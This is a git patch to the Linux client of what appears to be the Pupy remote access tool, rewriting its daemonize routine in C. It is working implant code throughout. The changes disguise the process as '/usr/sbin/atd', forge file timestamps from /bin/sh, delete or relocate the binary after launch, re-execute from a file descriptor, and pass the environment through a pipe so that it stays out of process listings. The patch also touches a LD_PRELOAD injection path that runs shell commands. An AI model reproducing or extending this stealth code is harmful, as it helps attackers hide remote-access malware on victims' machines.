From 45ac2bf02ed792d63ff9edc69e91f4743133c154 Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk
Date: Fri, 3 Mar 2017 13:34:14 +0200
Subject: [PATCH] "Securely" pass environment
---
client/sources-linux/daemonize.c | 153 ++++++++++++++++++++++++-------
client/sources-linux/daemonize.h | 2 +-
client/sources-linux/main_exe.c | 7 +-
client/sources-linux/pupy.c | 2 +-
4 files changed, 126 insertions(+), 38 deletions(-)
diff --git a/client/sources-linux/daemonize.c b/client/sources-linux/daemonize.c
index 75aee68f..3cf39de9 100644
--- a/client/sources-linux/daemonize.c
+++ b/client/sources-linux/daemonize.c
@@ -9,29 +9,34 @@
#include
#include
#include
+#include
+#include
#ifndef DEFAULT_MTIME_FROM
-#define DEFAULT_MTIME_FROM "/bin/sh"
-#endif
-
-#ifndef DEFAULT_ENV_SA0
-#define DEFAULT_ENV_SA0 "__SA0"
-#endif
-
-#ifndef DEFAULT_ENV_SCWD
-#define DEFAULT_ENV_SCWD "__SCWD"
-#endif
-
-#ifndef DEFAULT_ENV_CLEANUP
-#define DEFAULT_ENV_CLEANUP "__CLEANUP"
-#endif
-
-#ifndef DEFAULT_ENV_MOVE
-#define DEFAULT_ENV_MOVE "__MOVE"
+ #define DEFAULT_MTIME_FROM "/bin/sh"
#endif
#ifndef DEFAULT_ARGV0
-#define DEFAULT_ARGV0 "/usr/sbin/atd"
+ #define DEFAULT_ARGV0 "/usr/sbin/atd"
+#endif
+
+#ifdef USE_ENV_ARGS
+ #ifndef DEFAULT_ENV_SA0
+ #define DEFAULT_ENV_SA0 "__SA0"
+ #endif
+
+ #ifndef DEFAULT_ENV_SCWD
+ #define DEFAULT_ENV_SCWD "__SCWD"
+ #endif
+
+ #ifndef DEFAULT_ENV_CLEANUP
+ #define DEFAULT_ENV_CLEANUP "__CLEANUP"
+ #endif
+
+ #ifndef DEFAULT_ENV_MOVE
+ #define DEFAULT_ENV_MOVE "__MOVE"
+ #endif
+
#endif
#ifndef DEFAULT_SAFE_PATH
@@ -48,7 +53,7 @@
#include "daemonize.h"
-int daemonize(bool exit_parent) {
+int daemonize(int argc, char *argv[], char *env[], bool exit_parent) {
pid_t pid;
int i;
@@ -58,17 +63,51 @@ int daemonize(bool exit_parent) {
/* Cleanup environment and reexec */
char self[PATH_MAX] = {};
+ char *fd_str = getenv("_");
+ int fdenv = -1;
- if (getenv("PATH") && readlink("/proc/self/exe", self, sizeof(self)-1) != -1) {
+ if (fd_str) {
+ char *end = NULL;
+ errno = 0;
+ fdenv = strtol(fd_str, &end, 10);
+ if ((end == fd_str) || errno) {
+ fdenv = -1;
+ }
+ }
+
+ if (fd_str && fdenv < 0 && readlink("/proc/self/exe", self, sizeof(self)-1) != -1) {
+#ifdef USE_ENV_ARGS
char *set_argv0 = getenv(DEFAULT_ENV_SA0);
char *set_cwd = getenv(DEFAULT_ENV_SCWD);
char *cleanup = getenv(DEFAULT_ENV_CLEANUP);
char *move = getenv(DEFAULT_ENV_MOVE);
+ char *mtime_from = DEFAULT_MTIME_FROM;
+#else
+ char *set_argv0 = NULL;
+ char *set_cwd = NULL;
+ char *move = NULL;
+ char *mtime_from = DEFAULT_MTIME_FROM;
+
+ bool cleanup = false;
+
+ char c;
+
+ while ((c = getopt (argc, argv, "0:t:c:m:C")) != -1)
+ switch (c) {
+ case '0': set_argv0 = optarg; break;
+ case 't': mtime_from = optarg; break;
+ case 'c': set_cwd = optarg; break;
+ case 'm': move = optarg; break;
+ case 'C': cleanup = true; break;
+ };
+#endif
+
+ unsetenv("_");
int fd = -1;
struct stat _stat = {};
- stat(DEFAULT_MTIME_FROM, &_stat);
+ stat(mtime_from, &_stat);
if (move) {
fd = open(self, O_RDONLY);
@@ -119,6 +158,8 @@ int daemonize(bool exit_parent) {
fd = open(move? move:self, O_RDONLY);
}
+ int envpipe[2] = {};
+
if (fd != -1) {
if (cleanup) {
unlink(move? move:self);
@@ -129,18 +170,70 @@ int daemonize(bool exit_parent) {
NULL
};
- char *const env[] = {NULL};
+ char fdenv_pass[PATH_MAX] = {};
+ int r = pipe(envpipe);
- if (set_cwd) {
- chdir(set_cwd? set_cwd : "/");
+ if (r == 0) {
+ snprintf(fdenv_pass, sizeof(fdenv_pass), "_=%d", envpipe[0]);
}
- fexecve(fd, argv, env);
- /* We shouldn't be here */
- close(fd);
+ char *const env[] = {
+ r == 0? fdenv_pass : NULL,
+ NULL
+ };
- execve(move? move:self, argv, env);
+ chdir(set_cwd? set_cwd : "/");
+
+ pid_t next = fork();
+ if (next == 0 || next == -1) {
+ if (r == 0)
+ close(envpipe[1]);
+
+ fexecve(fd, argv, env);
+ /* We shouldn't be here */
+ execve(move? move:self, argv, env);
+ }
+
+ if (r == 0)
+ close(envpipe[0]);
}
+ close(fd);
+
+ int idx = 0;
+ for (idx=0;env[idx];idx++) {
+ unsigned int size = strlen(env[idx]);
+ int r = write(envpipe[1], &size, 4);
+ if (r != 4) {
+ break;
+ }
+ r = write(envpipe[1], env[idx], size);
+ if (r != size) {
+ break;
+ }
+ }
+ close(envpipe[1]);
+ exit(0);
+ }
+
+ if (fdenv > 0) {
+ for (;;) {
+ unsigned int size = 0;
+ int r = read(fdenv, &size, 4);
+ if (r != 4) {
+ break;
+ }
+ char envstr[PATH_MAX] = {};
+ if (size > PATH_MAX-1) {
+ break;
+ }
+ r = read(fdenv, envstr, size);
+ if (!r || r != size) {
+ break;
+ }
+ envstr[size] = '\0';
+ r = putenv(strdup(envstr));
+ }
+ close(fdenv);
}
/* Set default "safe" path */
@@ -196,10 +289,6 @@ int daemonize(bool exit_parent) {
if (setsid ( ) == -1)
return -1;
- /* set the working directory to the root directory */
- if (chdir ("/") == -1)
- return -1;
-
#ifndef DEBUG
/* close all open files--NR_OPEN is overkill, but works */
for (i = 0; i < sysconf(_SC_OPEN_MAX); i++)
diff --git a/client/sources-linux/daemonize.h b/client/sources-linux/daemonize.h
index 3190d032..b0ae6932 100644
--- a/client/sources-linux/daemonize.h
+++ b/client/sources-linux/daemonize.h
@@ -5,6 +5,6 @@
#include
#include
-pid_t daemonize(bool exit_parent);
+pid_t daemonize(int argc, char *argv[], char *env[], bool exit_parent);
#endif /* DAEMONIZE_H */
diff --git a/client/sources-linux/main_exe.c b/client/sources-linux/main_exe.c
index 869160ca..8774b1ef 100644
--- a/client/sources-linux/main_exe.c
+++ b/client/sources-linux/main_exe.c
@@ -1,10 +1,9 @@
#include "pupy_load.h"
#include "daemonize.h"
-int main(int argc, char *argv[]) {
+int main(int argc, char *argv[], char *env[]) {
#ifndef DEBUG
- daemonize(true);
+ daemonize(argc, argv, env, true);
#endif
-
- return mainThread(argc, argv, false);
+ return mainThread(argc, argv, false);
}
diff --git a/client/sources-linux/pupy.c b/client/sources-linux/pupy.c
index 2724d720..f800f8b5 100644
--- a/client/sources-linux/pupy.c
+++ b/client/sources-linux/pupy.c
@@ -80,7 +80,7 @@ static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args)
dprint("Program to execute in child context: %s\n", cmdline);
- pid_t pid = daemonize(false);
+ pid_t pid = daemonize(0, NULL, NULL, false);
if (pid == 0) {
/* Daemonized context */
execl("/bin/sh", "/bin/sh", "-c", cmdline, NULL);